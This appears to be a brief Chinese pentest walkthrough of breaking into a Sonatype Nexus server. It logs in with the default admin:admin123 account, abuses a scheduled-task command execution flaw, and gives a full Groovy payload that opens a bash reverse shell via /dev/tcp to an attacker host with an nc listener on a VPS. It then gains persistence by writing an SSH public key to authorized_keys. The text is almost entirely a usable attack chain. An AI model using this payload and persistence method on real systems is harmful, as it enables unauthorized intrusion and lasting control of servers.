nexus打点

访问网站

使用默认账户密码admin：admin123登录

获取shell

查阅发现存在定时任务任意命令执行漏洞
在设置处创建定时任务payload为['/bin/bash','-c','/bin/bash -i >& /dev/tcp/IP/PORT 0>&1'].execute()

在vps上启动nc监听

创建然后执行
接收到反弹shell

持久化

生成公私钥向~/.ssh/authorized_key写入公钥并ssh连接即可，这里大佬已经进去了，我直接坐享其成，2333。